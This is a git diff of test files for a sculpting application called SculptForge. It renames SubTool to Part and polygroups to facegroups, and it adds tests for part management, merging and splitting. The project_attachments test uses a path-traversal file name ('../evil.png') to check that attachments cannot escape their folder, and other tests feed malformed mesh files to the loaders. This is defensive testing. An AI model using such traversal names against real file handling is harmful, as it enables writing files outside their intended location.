- CHECK(loadGoz((root / "Scene_Sword.GoZ").string(), sword, err) && sword.triangleCount() == doc.subtoolMesh(2).triangleCount());
+ BridgeInfo info;
+ CHECK(loadBridge((root / (std::string("Scene_Body") + bridgefile::kExt)).string(), body, err, &info) && info.name == "Body");
+ CHECK(loadBridge((root / (std::string("Scene_Sword") + bridgefile::kExt)).string(), sword, err) && sword.triangleCount() == doc.partMesh(2).triangleCount());
fs::remove_all(root);
}
-TEST(subtool_merged_exports) {
+TEST(part_merged_exports) {
Document doc = makeExportScene();
CommandRegistry reg;
const size_t tris = visibleTriangles(doc);
std::string err;
- const std::string stl = tempPath("sf_subtool_scene.stl");
+ const std::string stl = tempPath("sf_part_scene.stl");
CHECK(reg.execute(doc, "export_stl", {{"path", stl}}).ok);
Mesh m;
CHECK(loadStl(stl, m, err) && m.triangleCount() == tris);
- const std::string ply = tempPath("sf_subtool_scene.ply");
+ const std::string ply = tempPath("sf_part_scene.ply");
CHECK(reg.execute(doc, "export_ply", {{"path", ply}}).ok);
SplatCloud splats;
PlyContent content;
CHECK(loadPly(ply, m, splats, content, err) && content == PlyContent::Mesh && m.triangleCount() == tris);
- // Splats cover every visible SubTool (the sword lies at x = 2).
+ // Splats cover every visible Part (the sword lies at x = 2).
CHECK(reg.execute(doc, "mesh_to_splats", {{"count", 4000.0}}).ok);
CHECK(doc.splats.bounds(1.0f).max.x > 2.0f);
// Nothing visible: exporters say so.
- for (auto& s : doc.subtools) s.visible = false;
- CHECK(!reg.execute(doc, "export_glb", {{"path", tempPath("sf_subtool_none.glb")}}).ok);
- CHECK(!reg.execute(doc, "save_obj", {{"path", tempPath("sf_subtool_none.obj")}}).ok);
+ for (auto& s : doc.parts) s.visible = false;
+ CHECK(!reg.execute(doc, "export_glb", {{"path", tempPath("sf_part_none.glb")}}).ok);
+ CHECK(!reg.execute(doc, "save_obj", {{"path", tempPath("sf_part_none.obj")}}).ok);
CHECK(!reg.execute(doc, "export_ply", {{"path", ply}}).ok);
std::filesystem::remove(stl);
std::filesystem::remove(ply);
}
-TEST(subtool_export_lods_per_subtool) {
+TEST(part_export_lods_per_part) {
Document doc = makeExportScene();
CommandRegistry reg;
- const std::string base = tempPath("sf_subtool_rock.glb");
+ const std::string base = tempPath("sf_part_rock.glb");
CHECK(reg.execute(doc, "export_lods", {{"path", base}, {"levels", 2.0}}).ok);
std::vector<MeshObject> objects;
std::string err;
- const std::string lod1 = tempPath("sf_subtool_rock_LOD1.glb");
+ const std::string lod1 = tempPath("sf_part_rock_LOD1.glb");
CHECK(loadGltf(lod1, objects, err) && objects.size() == 2);
- if (objects.size() == 2) CHECK(objects[0].name == "Body" && objects[0].mesh.triangleCount() < doc.subtoolMesh(0).triangleCount());
- std::filesystem::remove(tempPath("sf_subtool_rock_LOD0.glb"));
+ if (objects.size() == 2) CHECK(objects[0].name == "Body" && objects[0].mesh.triangleCount() < doc.partMesh(0).triangleCount());
+ std::filesystem::remove(tempPath("sf_part_rock_LOD0.glb"));
std::filesystem::remove(lod1);
}
-TEST(subtool_loaders_survive_malformed_objects) {
+TEST(part_loaders_survive_malformed_objects) {
std::string err;
std::vector<MeshObject> objects;
SplatCloud splats;
- const std::string obj = tempPath("sf_subtool_bad.obj");
+ const std::string obj = tempPath("sf_part_bad.obj");
// Bad indices in a later object, empty names, nothing but `o` lines.
for (const char* text : {"o A\nv 0 0 0\nv 1 0 0\nv 0 1 0\nf 1 2 3\no B\nf 1 2 9\n", "o\no\no\n", "o A\r\nv 0 0 0\r\nf 1 1 1\r\n",
"v 0 0 0\nv 1 0 0\nv 0 1 0\no X\nf -1 -2 -3\no Y\nf -4 1 2\n", "g\ng\nv 1 1 1\nf 1 1 1 1 1\n"}) {
@@ -570,7 +571,7 @@ TEST(subtool_loaders_survive_malformed_objects) {
}
std::filesystem::remove(obj);
- const std::string usda = tempPath("sf_subtool_bad.usda");
+ const std::string usda = tempPath("sf_part_bad.usda");
for (const char* text :
{"#usda 1.0\ndef Mesh \"A\" { point3f[] points = [(0,0,0),(1,0,0),(0,1,0)] int[] faceVertexCounts = [3] "
"int[] faceVertexIndices = [0, -1, 2] }\n",
@@ -592,7 +593,7 @@ TEST(subtool_loaders_survive_malformed_objects) {
CHECK(loadUsd(usda, objects, splats, err) && objects.size() == 1 && objects[0].name == "Rig");
std::filesystem::remove(usda);
- const std::string gltf = tempPath("sf_subtool_bad.gltf");
+ const std::string gltf = tempPath("sf_part_bad.gltf");
writeText(gltf, R"({"asset":{"version":"2.0"},"scenes":[{"nodes":[0,1,7]}],"nodes":[{"mesh":5},{"mesh":0}],"meshes":[{"primitives":[{"attributes":{"POSITION":3}}]}]})");
loadGltf(gltf, objects, err);
std::filesystem::remove(gltf);
diff --git a/tests/test_subtool_thumbnails.cpp b/tests/test_part_thumbnails.cpp
similarity index 75%
rename from tests/test_subtool_thumbnails.cpp
rename to tests/test_part_thumbnails.cpp
index b9696526..d91df7d8 100644
--- a/tests/test_subtool_thumbnails.cpp
+++ b/tests/test_part_thumbnails.cpp
@@ -1,16 +1,16 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// When SubTool thumbnails (#43) are rendered: a new SubTool at once, a change once it has settled, one at a time,
-// nothing while busy, and deleted SubTools forgotten.
+// When Part thumbnails (#43) are rendered: a new Part at once, a change once it has settled, one at a time,
+// nothing while busy, and deleted Parts forgotten.
#include "TestHarness.h"
-#include "app/SubtoolThumbnails.h"
+#include "app/PartThumbnails.h"
using namespace sf;
-TEST(subtool_thumbnails_new_ones_render_at_once) {
- SubtoolThumbnailSchedule s;
+TEST(part_thumbnails_new_ones_render_at_once) {
+ PartThumbnailSchedule s;
s.observe(1, 100, 0.0);
s.observe(2, 200, 0.0);
uint32_t id = 0;
@@ -26,8 +26,8 @@ TEST(subtool_thumbnails_new_ones_render_at_once) {
CHECK(wake == 0.0); // nothing waiting: the loop may sleep
}
-TEST(subtool_thumbnails_changes_wait_to_settle) {
- SubtoolThumbnailSchedule s;
+TEST(part_thumbnails_changes_wait_to_settle) {
+ PartThumbnailSchedule s;
uint32_t id = 0;
double wake = 0.0;
s.observe(7, 1, 0.0);
@@ -42,13 +42,13 @@ TEST(subtool_thumbnails_changes_wait_to_settle) {
const double last = 30 * 0.016;
s.observe(7, 31, last + 0.1); // the same key: still waiting from the last change
CHECK(!s.due(last + 0.1, false, id, wake));
- CHECK(s.due(last + SubtoolThumbnailSchedule::kSettleSeconds + 0.01, false, id, wake) && id == 7);
+ CHECK(s.due(last + PartThumbnailSchedule::kSettleSeconds + 0.01, false, id, wake) && id == 7);
s.rendered(7);
CHECK(!s.due(10.0, false, id, wake));
}
-TEST(subtool_thumbnails_forget_deleted) {
- SubtoolThumbnailSchedule s;
+TEST(part_thumbnails_forget_deleted) {
+ PartThumbnailSchedule s;
s.observe(1, 1, 0.0);
s.observe(2, 1, 0.0);
s.observe(3, 1, 0.0);
diff --git a/tests/test_parts.cpp b/tests/test_parts.cpp
new file mode 100644
index 00000000..0044ecf3
--- /dev/null
+++ b/tests/test_parts.cpp
@@ -0,0 +1,188 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Parts: the Document data model (select / add / remove / move, per-Part
+// undo and unsaved-changes tracking), mesh merge and split, the cube
+// primitive, and the part_* commands.
+#include "TestHarness.h"
+
+#include "core/Commands.h"
+#include "core/FaceGroups.h"
+#include "core/Primitives.h"
+#include "core/Parts.h"
+#include "io/ObjIO.h"
+
+#include <cmath>
+#include <set>
+
+using namespace sf;
+
+namespace {
+
+size_t groupCount(const Mesh& m) {
+ std::set<uint32_t> ids;
+ for (uint32_t t = 0; t < m.triangleCount(); ++t) ids.insert(m.facegroupAt(t));
+ return ids.size();
+}
+
+} // namespace
+
+TEST(part_document_basics) {
+ Document doc;
+ CHECK(doc.partCount() == 1 && doc.activePartInfo().name == "Sculpt");
+ CommandRegistry reg;
+ CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 3.0}}).ok);
+ CHECK(doc.partCount() == 1 && doc.activePartInfo().name == "Sphere");
+ const size_t sphereTris = doc.mesh.triangleCount();
+ CHECK(!doc.dirty());
+
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("cube")}}).ok);
+ CHECK(doc.partCount() == 2 && doc.activePart == 1);
+ CHECK(doc.activePartInfo().name == "Cube");
+ CHECK(doc.mesh.triangleCount() == 48u * 48u * 12u);
+ CHECK(doc.partMesh(0).triangleCount() == sphereTris); // checked in, intact
+ CHECK(doc.dirty());
+ // Placed beside the sphere, not inside it.
+ CHECK(doc.mesh.bounds().min.x > doc.partMesh(0).bounds().max.x);
+
+ // Each Part keeps its own undo history.
+ doc.markClean();
+ CHECK(reg.execute(doc, "mask_all").ok);
+ CHECK(doc.undo.canUndo());
+ doc.selectPart(0);
+ CHECK(doc.mesh.triangleCount() == sphereTris);
+ CHECK(!doc.undo.canUndo());
+ CHECK(doc.dirty()); // the cube's edit is still unsaved
+ doc.selectPart(1);
+ CHECK(doc.undo.canUndo() && doc.mesh.hasMask());
+ CHECK(reg.execute(doc, "undo").ok);
+ CHECK(doc.mesh.maskAt(0) == 0.0f); // undone (the attribute may stay allocated)
+
+ // Picking needs the BVH of the selected Part.
+ RayHit hit;
+ const glm::vec3 c = doc.mesh.bounds().center();
+ CHECK(doc.bvh.raycast(doc.mesh, c + glm::vec3(0, 0, 10), glm::vec3(0, 0, -1), hit));
+
+ // Names stay unique; rename, move, visibility, solo.
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("cube")}}).ok);
+ CHECK(doc.activePartInfo().name == "Cube 2");
+ CHECK(reg.execute(doc, "part_rename", {{"to", std::string("Cube")}}).ok);
+ CHECK(doc.activePartInfo().name == "Cube 3"); // "Cube" is taken
+ CHECK(reg.execute(doc, "part_rename", {{"to", std::string("Helmet")}}).ok);
+ CHECK(reg.execute(doc, "part_move", {{"direction", std::string("up")}}).ok);
+ CHECK(doc.activePart == 1 && doc.parts[1].name == "Helmet" && doc.parts[2].name == "Cube");
+ CHECK(reg.execute(doc, "part_solo").ok);
+ CHECK(!doc.parts[0].visible && doc.parts[1].visible && !doc.parts[2].visible);
+ CHECK(reg.execute(doc, "part_solo").ok);
+ CHECK(doc.parts[0].visible && doc.parts[2].visible);
+ CHECK(reg.execute(doc, "part_visibility", {{"name", std::string("Cube")}, {"visible", false}}).ok);
+ CHECK(!doc.parts[2].visible);
+ CHECK(reg.execute(doc, "part_select", {{"name", std::string("Cube")}}).ok);
+ CHECK(doc.activePart == 2 && doc.parts[2].visible); // selecting shows it
+ CHECK(!reg.execute(doc, "part_select", {{"name", std::string("Nope")}}).ok);
+ CHECK(reg.execute(doc, "part_list").message.find("2. Cube (") != std::string::npos);
+
+ // Delete; the last one stays.
+ CHECK(reg.execute(doc, "part_delete").ok);
+ CHECK(doc.partCount() == 2 && doc.activePart == 1 && doc.activePartInfo().name == "Helmet");
+ CHECK(reg.execute(doc, "part_delete", {{"index", 0.0}}).ok);
+ CHECK(doc.partCount() == 1 && doc.activePart == 0);
+ CHECK(!reg.execute(doc, "part_delete").ok);
+
+ // A new scene goes back to one Part.
+ CHECK(reg.execute(doc, "part_append").ok);
+ CHECK(reg.execute(doc, "new_plane", {{"resolution", 4.0}}).ok);
+ CHECK(doc.partCount() == 1 && doc.activePartInfo().name == "Plane");
+}
+
+TEST(part_cube_primitive) {
+ Mesh cube = makeCube(4, 2.0f);
+ CHECK(cube.triangleCount() == 4u * 4u * 12u);
+ CHECK(cube.vertexCount() == 6u * 4u * 4u + 2u); // welded: V - E + F = 2
+ CHECK(groupCount(cube) == 6);
+ bool outward = true;
+ for (size_t v = 0; v < cube.vertexCount(); ++v) outward &= glm::dot(cube.normals[v], cube.positions[v]) > 0.0f;
+ CHECK(outward);
+ CHECK(std::abs(cube.bounds().max.x - 1.0f) < 1e-5f);
+ CHECK(splitIntoParts(cube).empty()); // one closed piece
+}
+
+TEST(part_merge_and_split) {
+ Mesh a = makeIcosphere(2);
+ Mesh b = makeCube(3);
+ for (auto& p : b.positions) p.x += 4.0f;
+ b.recomputeAllNormals();
+ a.ensureMask(0.75f);
+ b.ensureColors(glm::vec3(0.2f, 0.4f, 0.6f));
+ a.addLayer("Smile");
+ a.layers[0].delta.assign(a.vertexCount(), glm::vec3(0, 0.1f, 0));
+ a.setLayerWeight(0, 0.5f);
+
+ Mesh m = mergeMeshes({&a, &b});
+ CHECK(m.vertexCount() == a.vertexCount() + b.vertexCount());
+ CHECK(m.triangleCount() == a.triangleCount() + b.triangleCount());
+ CHECK(m.hasMask() && m.mask.front() == 0.75f && m.mask.back() == 0.0f);
+ CHECK(m.hasColors() && m.colors.front() == glm::vec3(1.0f) && m.colors.back() == glm::vec3(0.2f, 0.4f, 0.6f));
+ CHECK(m.layers.size() == 1 && m.layers[0].name == "Smile" && m.layers[0].delta.back() == glm::vec3(0.0f));
+ CHECK(std::abs(m.positions[0].y - a.positions[0].y) < 1e-5f); // layer at 0.5 survives the merge
+ CHECK(groupCount(m) == 1 + 6); // sphere's one group + the cube's six, kept apart
+
+ auto parts = splitIntoParts(m);
+ CHECK(parts.size() == 2 && parts[0].triangleCount() == a.triangleCount() && parts[1].triangleCount() == b.triangleCount());
+ auto groups = splitByFaceGroups(m);
+ CHECK(groups.size() == 7 && groups[0].triangleCount() == a.triangleCount());
+ CHECK(groups[0].layers.size() == 1 && groups[0].hasMask());
+}
+
+TEST(part_merge_split_commands) {
+ Document doc;
+ CommandRegistry reg;
+ CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 2.0}}).ok);
+ const size_t sphereTris = doc.mesh.triangleCount();
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("cube")}}).ok);
+ const size_t cubeTris = doc.mesh.triangleCount();
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("sphere")}}).ok);
+ CHECK(reg.execute(doc, "part_visibility", {{"visible", false}}).ok); // hide the last one
+
+ // Exporters see only what's visible.
+ CHECK(mergedVisibleMesh(doc).triangleCount() == sphereTris + cubeTris);
+
+ CHECK(reg.execute(doc, "part_merge_visible").ok);
+ CHECK(doc.partCount() == 2 && doc.activePart == 0 && doc.activePartInfo().name == "Merged");
+ CHECK(doc.mesh.triangleCount() == sphereTris + cubeTris);
+ CHECK(!doc.parts[1].visible); // the hidden one is untouched
+ CHECK(!doc.undo.canUndo());
+
+ CHECK(reg.execute(doc, "part_split_parts").ok);
+ CHECK(doc.partCount() == 3 && doc.parts[0].name == "Merged 1" && doc.parts[1].name == "Merged 2");
+ CHECK(doc.activePart == 0 && doc.mesh.triangleCount() == cubeTris); // largest piece first
+
+ // Merge down, then split by groups gives the pieces back (cube has 6 groups).
+ CHECK(reg.execute(doc, "part_merge_down").ok);
+ CHECK(doc.partCount() == 2 && doc.mesh.triangleCount() == sphereTris + cubeTris);
+ CHECK(reg.execute(doc, "part_split_groups").ok);
+ CHECK(doc.partCount() == 1 + 7);
+ CHECK(!reg.execute(doc, "part_split_parts").ok); // a cube side is one piece
+
+ // Duplicate sits right below the original and is independent.
+ CHECK(reg.execute(doc, "part_select", {{"index", 0.0}}).ok);
+ CHECK(reg.execute(doc, "part_duplicate").ok);
+ CHECK(doc.activePart == 1 && doc.parts[1].name.find("copy") != std::string::npos);
+ CHECK(reg.execute(doc, "mask_all").ok);
+ CHECK(!doc.partMesh(0).hasMask());
+}
+
+TEST(part_append_file) {
+ Document doc;
+ CommandRegistry reg;
+ CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 2.0}}).ok);
+ const std::string path = tempPath("sf_part_eye.obj");
+ std::string err;
+ CHECK(saveObj(path, makeIcosphere(1, 0.2f), err));
+ CHECK(reg.execute(doc, "part_append", {{"path", path}}).ok);
+ CHECK(doc.partCount() == 2 && doc.activePartInfo().name == "sf_part_eye");
+ CHECK(doc.mesh.triangleCount() == makeIcosphere(1).triangleCount());
+ CHECK(!reg.execute(doc, "part_append", {{"path", tempPath("sf_missing.obj")}}).ok);
+ CHECK(!reg.execute(doc, "part_append", {{"type", std::string("teapot")}}).ok);
+ std::filesystem::remove(path);
+}
diff --git a/tests/test_performance.cpp b/tests/test_performance.cpp
index 6358e0e0..1ac2bbd9 100644
--- a/tests/test_performance.cpp
+++ b/tests/test_performance.cpp
@@ -498,7 +498,7 @@ TEST(stroke_records_each_vertex_once_per_stroke) {
}
TEST(first_paint_undo_is_cheap_and_exact) {
- // The app's first polypaint stroke on an unpainted mesh: the undo step holds the paint stack without
+ // The app's first vertex paint stroke on an unpainted mesh: the undo step holds the paint stack without
// colours (not a copy of the mesh), and undo removes the attribute again.
Document d = sphereDoc(5);
CHECK(!d.mesh.hasColors());
diff --git a/tests/test_phone_link.cpp b/tests/test_phone_link.cpp
index 32a1dc47..eaa71475 100644
--- a/tests/test_phone_link.cpp
+++ b/tests/test_phone_link.cpp
@@ -680,7 +680,7 @@ TEST(ar_link_uploads_the_model_encrypted_to_the_relay) {
PhoneLink link;
CHECK(link.start(o, err));
std::string url;
- CHECK(link.createFaceLink(url, err, true, "subtool", 20.0f));
+ CHECK(link.createFaceLink(url, err, true, "part", 20.0f));
const std::string fragment = url.substr(url.find('#') + 1);
const std::string blobUrl = percentDecode(queryParameter(fragment, "b"));
CHECK(blobUrl.rfind("http://127.0.0.1:" + std::to_string(relay.port()) + "/blob/sculptforge-", 0) == 0);
@@ -806,7 +806,7 @@ TEST(qr_code_encodes_the_pairing_url) {
TEST(ar_export_writes_valid_glb_and_usdz) {
Mesh sphere = makeIcosphere(5); // 20,480 triangles
- // Polypaint: red top, blue bottom.
+ // Vertex paint: red top, blue bottom.
sphere.ensureColors();
for (size_t v = 0; v < sphere.vertexCount(); ++v)
sphere.colors[v] = sphere.positions[v].y > 0 ? glm::vec3(0.9f, 0.05f, 0.05f) : glm::vec3(0.05f, 0.05f, 0.9f);
diff --git a/tests/test_primitives_insert.cpp b/tests/test_primitives_insert.cpp
index 0363301f..dd87a43e 100644
--- a/tests/test_primitives_insert.cpp
+++ b/tests/test_primitives_insert.cpp
@@ -102,37 +102,37 @@ TEST(insert_primitive_mirrors_with_symmetry) {
namespace {
size_t groupTriangles(const Mesh& m, uint32_t g) {
size_t n = 0;
- for (uint32_t t = 0; t < m.triangleCount(); ++t) n += m.polygroupAt(t) == g;
+ for (uint32_t t = 0; t < m.triangleCount(); ++t) n += m.facegroupAt(t) == g;
return n;
}
uint32_t topGroup(const Mesh& m) {
uint32_t g = 0;
- for (uint32_t x : m.polygroups) g = std::max(g, x);
+ for (uint32_t x : m.facegroups) g = std::max(g, x);
return g;
}
} // namespace
-TEST(insert_mesh_from_subtool) {
+TEST(insert_mesh_from_part) {
Document doc;
CommandRegistry reg;
CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 3.0}}).ok);
- // A tall, off-centre box SubTool to insert: it's centred and scaled so its largest side is `size`.
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("cube")}, {"name", std::string("Stud")}}).ok);
+ // A tall, off-centre box Part to insert: it's centred and scaled so its largest side is `size`.
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("cube")}, {"name", std::string("Stud")}}).ok);
for (auto& p : doc.mesh.positions) p = glm::vec3(p.x, p.y * 4.0f, p.z) + glm::vec3(5.0f, 3.0f, 0.0f);
const size_t studTris = doc.mesh.triangleCount();
- CHECK(reg.execute(doc, "subtool_select", {{"index", 0.0}}).ok);
+ CHECK(reg.execute(doc, "part_select", {{"index", 0.0}}).ok);
const size_t before = doc.mesh.triangleCount();
- CommandResult r = reg.execute(doc, "insert_mesh", {{"subtool", std::string("Stud")}, {"x", 1.0}, {"y", 0.0}, {"z", 0.0},
+ CommandResult r = reg.execute(doc, "insert_mesh", {{"part", std::string("Stud")}, {"x", 1.0}, {"y", 0.0}, {"z", 0.0},
{"nx", 1.0}, {"ny", 0.0}, {"nz", 0.0}, {"size", 0.4}});
CHECK(r.ok);
CHECK(doc.mesh.triangleCount() == before + studTris);
- CHECK(doc.subtoolCount() == 2); // the source SubTool stays
+ CHECK(doc.partCount() == 2); // the source Part stays
// Its long (Y) axis lies along the normal (+X): it reaches 0.2 out from the surface point, 0.05 to the sides.
const uint32_t g = topGroup(doc.mesh);
CHECK(groupTriangles(doc.mesh, g) == studTris);
AABB box;
for (uint32_t t = 0; t < doc.mesh.triangleCount(); ++t)
- if (doc.mesh.polygroupAt(t) == g)
+ if (doc.mesh.facegroupAt(t) == g)
for (int k = 0; k < 3; ++k) box.expand(doc.mesh.positions[doc.mesh.triangles[t][k]]);
CHECK(std::abs(box.max.x - 1.2f) < 0.01f);
CHECK(std::abs(box.min.x - 0.8f) < 0.01f);
@@ -140,17 +140,17 @@ TEST(insert_mesh_from_subtool) {
CHECK(reg.execute(doc, "undo", {}).ok);
CHECK(doc.mesh.triangleCount() == before);
// Symmetry makes a mirrored copy, as with the primitives.
- CHECK(reg.execute(doc, "insert_mesh", {{"subtool", std::string("Stud")}, {"symmetry", std::string("x")}, {"x", 1.0},
+ CHECK(reg.execute(doc, "insert_mesh", {{"part", std::string("Stud")}, {"symmetry", std::string("x")}, {"x", 1.0},
{"y", 0.0}, {"z", 0.0}, {"nx", 1.0}, {"ny", 0.0}, {"nz", 0.0}, {"size", 0.4}}).ok);
CHECK(doc.mesh.triangleCount() == before + 2 * studTris);
float minX = 0.0f;
for (const auto& p : doc.mesh.positions) minX = std::min(minX, p.x);
CHECK(minX < -1.1f);
- // Errors: nothing named, both named, an unknown SubTool.
+ // Errors: nothing named, both named, an unknown Part.
CHECK(!reg.execute(doc, "insert_mesh", {{"x", 0.0}, {"y", 0.0}, {"z", 0.0}}).ok);
- CHECK(!reg.execute(doc, "insert_mesh", {{"subtool", std::string("Stud")}, {"file", std::string("a.obj")}, {"x", 0.0},
+ CHECK(!reg.execute(doc, "insert_mesh", {{"part", std::string("Stud")}, {"file", std::string("a.obj")}, {"x", 0.0},
{"y", 0.0}, {"z", 0.0}}).ok);
- CHECK(!reg.execute(doc, "insert_mesh", {{"subtool", std::string("Nope")}, {"x", 0.0}, {"y", 0.0}, {"z", 0.0}}).ok);
+ CHECK(!reg.execute(doc, "insert_mesh", {{"part", std::string("Nope")}, {"x", 0.0}, {"y", 0.0}, {"z", 0.0}}).ok);
}
TEST(insert_mesh_from_file) {
diff --git a/tests/test_project.cpp b/tests/test_project.cpp
index 9a197558..d7230812 100644
--- a/tests/test_project.cpp
+++ b/tests/test_project.cpp
@@ -26,10 +26,10 @@ Document makeRichDoc() {
m.mask[v] = float(v % 7) / 6.0f;
m.colors[v] = glm::vec3(float(v % 3) * 0.5f, 0.25f, 1.0f / float(v + 1));
}
- m.ensurePolygroups();
+ m.ensureFaceGroups();
m.ensureHidden();
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
- m.polygroups[t] = t % 5 + 100000u;
+ m.facegroups[t] = t % 5 + 100000u;
m.hidden[t] = t % 11 == 0 ? 1 : 0;
}
m.uvs.resize(m.triangleCount() * 3);
@@ -92,19 +92,19 @@ bool editManifest(const std::string& path, const std::function<void(Json&)>& edi
return writeStoredZip(path, entries, 1, err);
}
-// Applies `edit` to the "mesh" object of the first SubTool in a manifest.
+// Applies `edit` to the "mesh" object of the first Part in a manifest.
void editFirstMesh(Json& j, const std::function<void(Json&)>& edit) {
- Json subtools = Json::array();
- for (size_t i = 0; i < j["subtools"].size(); ++i) {
- Json st = j["subtools"][i];
+ Json parts = Json::array();
+ for (size_t i = 0; i < j["parts"].size(); ++i) {
+ Json st = j["parts"][i];
if (i == 0) {
Json mesh = st["mesh"];
edit(mesh);
st.set("mesh", std::move(mesh));
}
- subtools.push(std::move(st));
+ parts.push(std::move(st));
}
- j.set("subtools", std::move(subtools));
+ j.set("parts", std::move(parts));
}
} // namespace
@@ -125,7 +125,7 @@ TEST(project_round_trip_every_attribute) {
CHECK(b.base == a.base);
CHECK(b.mask == a.mask);
CHECK(b.colors == a.colors);
- CHECK(b.polygroups == a.polygroups);
+ CHECK(b.facegroups == a.facegroups);
CHECK(b.hidden == a.hidden);
CHECK(b.uvs == a.uvs);
CHECK(b.layers.size() == 2);
@@ -166,7 +166,7 @@ TEST(project_plain_mesh_keeps_attributes_empty) {
Document back;
CHECK(loadProject(path, back, err));
CHECK(back.mesh.positions == doc.mesh.positions);
- CHECK(!back.mesh.hasMask() && !back.mesh.hasColors() && !back.mesh.hasPolygroups() && !back.mesh.hasHidden() &&
+ CHECK(!back.mesh.hasMask() && !back.mesh.hasColors() && !back.mesh.hasFaceGroups() && !back.mesh.hasHidden() &&
!back.mesh.hasUvs());
CHECK(back.mesh.layers.empty() && back.mesh.base.empty() && back.splats.empty());
std::filesystem::remove(path);
@@ -195,27 +195,27 @@ TEST(project_commands_and_open) {
std::filesystem::remove(path);
}
-TEST(project_subtool_shading) {
- // Smooth / Flat per SubTool (#11): an optional key, so files without it (and older readers) are unaffected.
+TEST(project_part_shading) {
+ // Smooth / Flat per Part (#11): an optional key, so files without it (and older readers) are unaffected.
CommandRegistry reg;
Document doc = makeDoc(makeIcosphere(1));
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("cube")}}).ok);
- CHECK(doc.activeSubtoolInfo().shading == Shading::Default);
- CHECK(reg.execute(doc, "subtool_shading", {{"mode", std::string("flat")}}).ok);
- CHECK(reg.execute(doc, "subtool_shading", {{"mode", std::string("Smooth")}, {"index", 0.0}}).ok);
- CHECK(!reg.execute(doc, "subtool_shading", {{"mode", std::string("faceted")}}).ok);
- CHECK(doc.subtools[0].shading == Shading::Smooth && doc.subtools[1].shading == Shading::Flat);
- CHECK(reg.execute(doc, "subtool_duplicate").ok); // the copy keeps it
- CHECK(doc.subtoolCount() == 3 && doc.activeSubtoolInfo().shading == Shading::Flat);
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("cube")}}).ok);
+ CHECK(doc.activePartInfo().shading == Shading::Default);
+ CHECK(reg.execute(doc, "part_shading", {{"mode", std::string("flat")}}).ok);
+ CHECK(reg.execute(doc, "part_shading", {{"mode", std::string("Smooth")}, {"index", 0.0}}).ok);
+ CHECK(!reg.execute(doc, "part_shading", {{"mode", std::string("faceted")}}).ok);
+ CHECK(doc.parts[0].shading == Shading::Smooth && doc.parts[1].shading == Shading::Flat);
+ CHECK(reg.execute(doc, "part_duplicate").ok); // the copy keeps it
+ CHECK(doc.partCount() == 3 && doc.activePartInfo().shading == Shading::Flat);
const std::string path = tempPath("sf_project_shading.sfproj");
std::string err;
CHECK(saveProject(path, doc, err));
Document back;
CHECK(loadProject(path, back, err));
- CHECK(back.subtoolCount() == 3);
- CHECK(back.subtools[0].shading == Shading::Smooth && back.subtools[1].shading == Shading::Flat &&
- back.subtools[2].shading == Shading::Flat);
+ CHECK(back.partCount() == 3);
+ CHECK(back.parts[0].shading == Shading::Smooth && back.parts[1].shading == Shading::Flat &&
+ back.parts[2].shading == Shading::Flat);
// Unknown values load as Default rather than failing the file.
Shading s = Shading::Flat;
@@ -225,10 +225,10 @@ TEST(project_subtool_shading) {
}
TEST(project_attachments) {
- // Document::projectFiles (an embedded custom MatCap): saved under attachments/ and loaded back byte for byte;
+ // Document::projectFiles (an embedded custom Lit Sphere): saved under attachments/ and loaded back byte for byte;
// names that could escape the folder are not written.
Document doc = makeDoc(makeIcosphere(1));
- doc.projectFiles["matcaps/Green Gold.png"] = {1, 2, 3, 250};
+ doc.projectFiles["litspheres/Green Gold.png"] = {1, 2, 3, 250};
doc.projectFiles["../evil.png"] = {9};
doc.projectFiles["empty.bin"] = {};
const std::string path = tempPath("sf_project_attachments.sfproj");
@@ -238,7 +238,7 @@ TEST(project_attachments) {
back.projectFiles["stale"] = {7};
CHECK(loadProject(path, back, err));
CHECK(back.projectFiles.size() == 2);
- CHECK(back.projectFiles["matcaps/Green Gold.png"] == std::vector<uint8_t>({1, 2, 3, 250}));
+ CHECK(back.projectFiles["litspheres/Green Gold.png"] == std::vector<uint8_t>({1, 2, 3, 250}));
CHECK(back.projectFiles.count("empty.bin") == 1 && back.projectFiles.count("../evil.png") == 0);
CHECK(!back.projectSettings.has("attachments")); // a core key, not an app setting
std::filesystem::remove(path);
@@ -402,7 +402,7 @@ TEST(project_texture_without_material_channels_writes_format_6) {
Json manifest;
CHECK(Json::parse(readManifest(path), manifest, err));
CHECK(manifest["version"].asNumber() == 6);
- CHECK(!manifest["subtools"][0]["texture"].has("pbr"));
+ CHECK(!manifest["parts"][0]["texture"].has("pbr"));
// A format 6 texture project loads with no material channels.
Document back;
CHECK(loadProject(path, back, err));
@@ -436,7 +436,7 @@ TEST(project_material_channels_round_trip_as_format_7) {
Json manifest;
CHECK(Json::parse(readManifest(path), manifest, err));
CHECK(manifest["version"].asNumber() == 7);
- CHECK(manifest["subtools"][0]["texture"]["pbr"]["channels"].size() == 5);
+ CHECK(manifest["parts"][0]["texture"]["pbr"]["channels"].size() == 5);
Document back;
CHECK(loadProject(path, back, err));
const PaintTexture& b = *back.mesh.texture;
diff --git a/tests/test_python.py b/tests/test_python.py
index 2050eb74..97c37b06 100644
--- a/tests/test_python.py
+++ b/tests/test_python.py
@@ -12,14 +12,14 @@ assert verts.shape == (642, 3) and str(verts.dtype) == "float32", verts.shape
assert tris.shape == (1280, 3) and str(tris.dtype) == "uint32", tris.shape
# Optional attributes: None until set, then NumPy copies; they survive subdivision.
-assert doc.mask is None and doc.colors is None and doc.polygroups is None and doc.hidden is None
+assert doc.mask is None and doc.colors is None and doc.facegroups is None and doc.hidden is None
doc.mask = [1.0 if v[1] > 0 else 0.0 for v in verts]
doc.colors = [[1.0, 0.0, 0.0]] * len(verts)
-doc.polygroups = [i % 3 for i in range(len(tris))]
+doc.facegroups = [i % 3 for i in range(len(tris))]
